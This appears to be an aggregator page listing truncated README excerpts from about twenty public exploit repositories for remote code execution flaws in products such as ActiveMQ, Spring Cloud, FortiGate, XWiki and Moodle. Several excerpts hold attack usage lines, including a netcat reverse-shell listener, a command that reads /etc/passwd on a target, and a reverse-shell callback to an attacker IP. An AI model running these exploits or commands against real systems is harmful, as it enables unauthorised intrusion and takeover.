CVE-2019-13024

CVE-2019-13024 The official exploit code for Centreon v19.04 Remote Code Execution CVE-2019-13024...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic RCE via Jolokia API TL;DR A remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by invoking the addNetworkConnectorString MBean operation through the Jolokia API /api/jolokia/. The attacker embed...

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit for RCE in Spring Cloud CVE 2022-22963 Exploit for CVE-2022-22963 remote command execution in Spring Cloud Function See for details about the vulnerability here and here PoC Run the netcat on your host: $ nc -lvnp 9001 Run the exploit example with default port 9001 on attacker host: $...

CVE-2023-32315

CVE-2023-32315 Openfire's administrative console the Admin Console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environmentin an already configured Openfi...

CVE-2025-55182-in-go

CVE-2025-55182 — React Server Components RCE Exploit for RCE in React Server Components via prototype pollution. Usage go run main.go -t -c Examples go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit FortiGate SSL‑VPN CVE‑2023‑27997 Exploit PoC Script with ROP Chain Table of Contents Description Affected Versions Installation Usage Example Output Technical Details Warnings References Description fgt-cve-2023-27997-exploit.py is a Proof‑of‑Concept PoC exploit script...

drupal-cve-2019-6339

drupal-cve-2019-6339 Drupal remote code execution vulnerabilty...

CVE-2025-24893

CVE-2025-24893 XWiki Unauthenticated Remote code execution POC Vulnerability Description XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the...

CVE-2026-22356

CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE Warning: This tool should only be used in authorized test environments. The user is solely responsible for illegal use. 📥 Requirements pip3 install requests urllib3 $ python3 exploit.py https://example.com --rce --cmd "id" + Target ...

CVE-2021-36394

CVE-2021-36394 Update table or Change password Admin: Custom Code $newpassword = "Accounttakedover123"; Then Execute: $ CVE2021-36394.php http://victim/pathtomoodle Execute function Custom Code $function = "header"; $param = "Hacked: by0d0ff9"; Then Execute: $ CVE2021-36394RCE.php...

CVE-2015-1578-PoC-Metasploit

CVE-2015-1578 Metasploit Module Overview This is a Metasploit module for CVE-2015-1578 , a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet. Purpose This module is designed to serve as a clean, minimal, and...

sophucked

sophucked CVE-2020-25223 RCE PoC, gets reverse shell. Pre-auth. Implemented this quickly as it was needed to unify some threat magnets. Example Use: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from x.x.x.x + pop t...

Elementor-3.18.0-Upload-Path-Traversal-RCE-CVE-2023-48777

This repository does not have a README...

CVE-2025-55182

📌 CVE-2025-55182 — React2Shell Critical Unauthenticated Remote Code Execution RCE in React Server Components 📖 Overview CVE-2025-55182, informally dubbed React2Shell, is a critical remote code execution RCE vulnerability disclosed on December 3, 2025 in React Server Components RSC and related...

cisco-CVE-2023-20009

About Security researcher: ly1g3, ly1g3attuta.io GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Overview: Remote Code Execution - RCE from config file CVE: CVE-2023-20009 Timeline: Discovered - ly1g3 Reported - ly1g3 Fixed - Cisco Cisco...

CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit This Python proof-of-concept targets a vulnerable MCP Model Context Protocol service exposed by the target application. The vulnerability allows an attacker to supply arbitrary server configuration parameters through the /api/mcp/connect endpoint. Affected Endpoi...

CVE-2021-2109

CVE-2021-2109 Weblogic Server Remote Code Execution Vulnerability Reproduction and Analysis In January 2021, Oracle released a security update patch, including 329 new security patches in the Oracle product family. This announcement specifically mentioned the Oracle WebLogic Server security...

CVE-2026-5027-Langflow

CVE-2026-5027 and CVE-2026-10520 CVE-2026-25089 exploiter: Clone git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git cd CVE-2026-5027-Langflow Usage exploit.py file Automatic testing and exploitation. python3 exploit.py -u https://target.com CLI custom settings Use your own webshell...

FortiWeb-CVE-2025-52970-Authentication-Bypass

🚨 FortiWeb Authentication Bypass → Remote Code Execution 📌 Overview This repository demonstrates an authentication bypass in FortiWeb that can be chained to achieve Remote Code Execution RCE. The exploit leverages a vulnerable endpoint to inject SQL payloads, upload a webshell, and execute comman...

CVE-2024-50482

CVE-2024-50482 Woocommerce Product Design = 1.0.0 - Unauthenticated Arbitrary File Upload Description: The Woocommerce Product Design plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.0.0. This makes it possibl...